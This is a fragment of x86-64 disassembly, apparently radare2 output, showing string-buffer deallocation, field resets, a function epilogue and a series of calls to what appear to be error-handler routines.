cmp rdx, 0x1000
jb 0x180023991
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023add
mov rcx, r8
call fcn.1800d9c1c
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], send
mov byte [rbx], 0
mov eax, 0xbbe
jmp 0x180023a91
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x1800239ea
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800239e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023aad
call fcn.1800d9c1c
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], send
mov byte [rbp - 0x80], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x180023a34
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x180023a2f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023ab3
mov rcx, r8
call fcn.1800d9c1c
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], send
mov byte [rbx], 0
xor eax, eax
jmp 0x180023a91
mov rdx, qword [rdx + 0x18]
cmp rdx, 0xf
jbe 0x180023a7d
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x180023a78
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023ab3
mov rcx, r8
call fcn.1800d9c1c
mov eax, 0xbb8
mov byte [rbx], 0
mov qword [rbx + 0x18], send
mov qword [rbx + 0x10], rsi
movaps xmm6, xmmword [rsp + 0x290]
add rsp, 0x2a8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1800e5f80
nop
call fcn.1800e5f80
nop
call fcn.1800e5f80
nop
call fcn.1800e5f80
nop
call fcn.1800087b0
nop
call fcn.1800e5f80
nop
call fcn.1800e5f80
nop
call fcn.1800e5f80
nop
call fcn.1800e5f80
int3